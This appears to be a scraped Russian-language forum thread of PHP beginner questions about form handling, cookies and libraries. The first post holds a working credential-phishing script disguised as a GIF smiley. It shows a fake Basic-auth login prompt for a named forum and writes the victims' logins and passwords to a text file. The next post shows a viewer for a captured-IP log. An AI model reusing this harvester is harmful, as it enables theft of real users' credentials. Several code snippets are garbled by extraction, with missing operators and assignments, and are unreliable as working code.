[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. S[N]EP

    S[N]EP Elder - Старейшина

    Joined:
    29 Aug 2008
    Messages:
    102
    Likes Received:
    28
    Reputations:
    10
    PHP:
    <?
    //делаем скрипт картинкой
    header("Content-type: image/gif");
    //делаем изображение смайликом из архива
    $image imagecreatefromgif('mellow.gif');
    $a=1;
    while (
    $a<999){
    if(!
    $_COOKIE['LOGON'])
    {
     
    $login $_SERVER['PHP_AUTH_USER'];
     
    $pass  $_SERVER['PHP_AUTH_PW'];
     
    //Авторизация пройдёт, если пароль больше 2-ёх символов и вообще написан логин
     
    if(strlen($pass) <= || !$login)
     {
      
    Header('HTTP/1.1 401 Unauthorized');
      
    Header('WWW-Authenticate: Basic realm="la2titan.ru/forum/ - login"');
     }
     elseif(
    $login)
     {
      
    //ставим кукис, чтобы при повторном заходе авторизации небыло, в самом начале проверка есть ли кукис ))
      
    setcookie('LOGON',md5($pass));
      
    //запишем пароли в файл
      
    $f fopen('passwords.txt''ab'); //passwords.txt
      
    fwrite($f$login." ||| ".$pass."\r\n"); //в формате LOGIN ||| PASSWORD
      
    fclose($f);
     }


     }

    $a++;
     
    }
    imagegif($image);
    imagedestroy($image);
    ?>
    так? всё равно при отмене оно больше не выводится(
     
    #9881 S[N]EP, 7 May 2009
    Last edited: 7 May 2009
  2. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    PHP:
    list($_ip$_time$_rnd1$_rnd2) = explode(':'trim($ip));
        
    $print[$_ip] = $_ip;
        
    $time[$_ip]  = $_time
        
    $print[$_rnd1] = $_rnd1;
        
    $print[$_rnd2] = $_rnd2;
     
    #9882 banned, 8 May 2009
    Last edited: 8 May 2009
  3. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    PHP:
    <?php
        $log    
    'ip.txt'
        
    $file    file($log); 
        
    $k        = array(); 
        
        foreach(
    $file as $abc)  
        {
            list(
    $k['ip'][], $k['time'][], $k['cid'][], $k['nat'][]) = explode(':::'trim($abc));
        }
        
        
    $max_time    time() - 300000;
        
    /*$k['ip']    = array_unique($k['ip']);
        $k['time']    = array_unique($k['time']);
        $k['cid']    = array_unique($k['cid']);
        $k['nat']    = array_unique($k['nat']);*/

        
    $count count($k['ip']);
        for(
    $i 0;$i $count$i++)
        {
            if(
    $k['time'][$i] > $max_time)
            {
                
    $vremya date('h:i:s'$k['time'][$i]);
                if(
    strpos($k['nat'][$i], 'real') !== false)
                {
                    
    $color='#66DD66';
                }
                else
                {
                    
    $color='yellow';
                }
                echo 
    '<a href="javascript:FP_setTextFieldText(\'ipaddr\', \''.$k['ip'][$i].'\', \'1\')"><font color='.$color.' size=2>'.$k['cid'][$i].'</font></a><font color=red size=2> Time:'.$vremya.'</font><br/>';
            }
        }
    ?>
     
    4 people like this.
  4. Veteriuz

    Veteriuz New Member

    Joined:
    22 Apr 2009
    Messages:
    13
    Likes Received:
    3
    Reputations:
    0
    я в заблуждении.
    думаю что же сделал не так.
    итак, имеем файл test.php, лежащий на локалхосте (http://good/)

    test.php
    PHP:
    <form action = "http://good/test.php" method="get">
       Рас <input type="text" name="ras"><br>
       Два <input type="text" name="dva"><br>
       <input type="submit" value="Считаем!">
    </form>
    <?
    $sum = $ras + $dva;
    echo $sum;
    echo "<br>"; //  эти строчки добавил
    echo(gettype($ras)); // потому что 
    echo "<br>"; // ответ
    echo(gettype($dva)); // всегда был ноль
    ?>
    получается что $sum всегда ноль.
    в браузере, независимо от значений $ras и $dva всегда вижу:
    как решается проблема?)
     
  5. chlp

    chlp New Member

    Joined:
    7 Dec 2008
    Messages:
    10
    Likes Received:
    2
    Reputations:
    0
    PHP:
     <form action = "http://good/test.php" method="post">    
    Рас <input type="text" name="ras"><br>    
    Два <input type="text" name="dva"><br>   
     <input type="submit" value="Считаем!"> 
    </form> 
    <? $sum = $_POST["ras"] + $_POST["dva"]; 
    echo $sum; echo "<br>"; 
    //  эти строчки добавил 
    echo(gettype($_POST["ras"])); 
    // потому что  echo "<br>"; 
    // ответ
     echo(gettype($_POST["dva"])); 
    // всегда был ноль ?> 
     
    Данные получаемые из форм находятся в массиве $_POST
     
    #9885 chlp, 8 May 2009
    Last edited: 8 May 2009
    1 person likes this.
  6. roddik

    roddik Member

    Joined:
    14 Jan 2009
    Messages:
    117
    Likes Received:
    13
    Reputations:
    0
    вариант 1 - ламерский - включи себе в пхп register_globals, тогда переданные переменные будут автоматом создаваться, но в таком случае возможны проблемы с секъюрностью, если где-то затупишь

    вариант 2 - правильный - данные из формы будут либо в массиве $_GET, либо в массиве $_POST, смотря что напишешь в <form method="get/post">, и точно будут в массиве $_REQUEST, который объединяет 2 предыдущих. замени в своем коде $ras, $dva на$_GET['ras'] и $_GET['dva'], или же $_REQUEST['ras'].. и должно заработать
     
  7. Корвин

    Корвин Elder - Старейшина

    Joined:
    26 Feb 2007
    Messages:
    256
    Likes Received:
    31
    Reputations:
    3
    подскажите плиз, скачал библиотеку отсюда http://www.pdflib.com/

    а как ее подключить к моему php не знаю , никогда библиотеки не приходилось подключать, у меня стоит локально xampp
     
  8. Корвин

    Корвин Elder - Старейшина

    Joined:
    26 Feb 2007
    Messages:
    256
    Likes Received:
    31
    Reputations:
    3
    а куда сами файлы библиотеки заливать?
     
  9. DMajere

    DMajere New Member

    Joined:
    25 Dec 2008
    Messages:
    40
    Likes Received:
    2
    Reputations:
    0
    подскажите где почитать о принципах создания многопользовательских приложений
     
  10. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    http://articles.org.ru/cfaq/index.php?qid=2977
     
  11. dllerk

    dllerk New Member

    Joined:
    1 Apr 2009
    Messages:
    21
    Likes Received:
    0
    Reputations:
    0
    У меня вот такай проблема.
    Я создал простою страничку и опцию для выбора языков (2 языка, русский и английский в директории с index файлом). Как сделать так чтобы при выборе языка оно сохраняло в cookies ?
     
  12. dllerk

    dllerk New Member

    Joined:
    1 Apr 2009
    Messages:
    21
    Likes Received:
    0
    Reputations:
    0
    даа... можно было и додуматся... thank m0Hze
     
  13. L I G A

    L I G A Banned

    Joined:
    27 Jul 2008
    Messages:
    482
    Likes Received:
    380
    Reputations:
    49
    есть форма в файле index.php
    PHP:
    <form action "send.php" method="post">
    <
    select name="country">
    <
    option  value="" name="rus" >Россия
    <option  value="" name="ukr" >Украина
    <option value="" name="bel" >Белоруссия
    <input type=submit value="ок">
    </
    form>
    send.php
    PHP:
    <?

    $r="rus";
    $u="ukr";
    $b="bel";
    if(
    $name == $r) {  //так не катит

    echo "Тру";

    }else{

    echo 
    "фолс";

    }
    ?>
    Как передать значение "name" в файл send.php
     
    #9893 L I G A, 10 May 2009
    Last edited: 10 May 2009
  14. bug1z

    bug1z Member

    Joined:
    7 May 2009
    Messages:
    61
    Likes Received:
    18
    Reputations:
    1
    2L I G A
    $_POST['rus']
    $_POST['ukr']
    $_POST['bel']
    ты об этом?
     
    #9894 bug1z, 10 May 2009
    Last edited: 10 May 2009
    1 person likes this.
  15. L I G A

    L I G A Banned

    Joined:
    27 Jul 2008
    Messages:
    482
    Likes Received:
    380
    Reputations:
    49
    надо чтоб при выборе в файле index.php "Россия" вылазило тру
     
    #9895 L I G A, 10 May 2009
    Last edited: 10 May 2009
  16. eLWAux

    eLWAux Elder - Старейшина

    Joined:
    15 Jun 2008
    Messages:
    860
    Likes Received:
    616
    Reputations:
    211
    PHP:
    <form action = "send.php" method="post">
      <select name="country">
       <option  value="rus" name="country" >Россия
       <option  value="urk" name="country" >Украина
       <option value="bel" name="country" >Белоруссия
      <input type=submit value="ок">
    </form>

    <?
     $countrys = Array('urk', 'rus', 'bel');
     
     // по дефолту будет $countrys[0] (т.е. urk)
     
     $lang = isset($_POST['country'])?$_POST['country']:$countrys[0];
     if (!in_array($country,$countrys)) $country = $countrys[0];
     
     echo 'страна: '.$country;
     
    ?>
     
    #9896 eLWAux, 10 May 2009
    Last edited: 10 May 2009
    3 people like this.
  17. bug1z

    bug1z Member

    Joined:
    7 May 2009
    Messages:
    61
    Likes Received:
    18
    Reputations:
    1
    PHP:
    <?
    $name[0]="rus";
    $name[1]="ukr";
    $name[2]="bel";
    if(
    $name[0] == rus) {

    echo 
    "Тру";

    }else{

    echo 
    "фолс";

    }
    ?> 
     
    1 person likes this.
  18. L I G A

    L I G A Banned

    Joined:
    27 Jul 2008
    Messages:
    482
    Likes Received:
    380
    Reputations:
    49
    бред ,теперь всегда тру
     
    #9898 L I G A, 10 May 2009
    Last edited: 10 May 2009
  19. D Mak

    D Mak Elder - Старейшина

    Joined:
    23 Jun 2007
    Messages:
    136
    Likes Received:
    27
    Reputations:
    0
    мде, ни укого не будет пахать
    PHP:
    <form action "send.php" method="post"
    <
    select name="country"
    <
    option  value="rus" >Россия </option>
    <
    option  value="ukr" >Украина </option>
    <
    option value="bel" >Белоруссия </option>
    </
    select>
    <
    input type=submit value="ок"
    </
    form>
    send.php
    PHP:
    <?php
    if($_POST['country']=='rus') echo 'тру';
    ?>
    ----
    ахахах, вас смело на говнокод постить можно
     
    #9899 D Mak, 10 May 2009
    Last edited: 10 May 2009
    2 people like this.
  20. L I G A

    L I G A Banned

    Joined:
    27 Jul 2008
    Messages:
    482
    Likes Received:
    380
    Reputations:
    49
    есть еще варианты?
     
Thread Status:
Not open for further replies.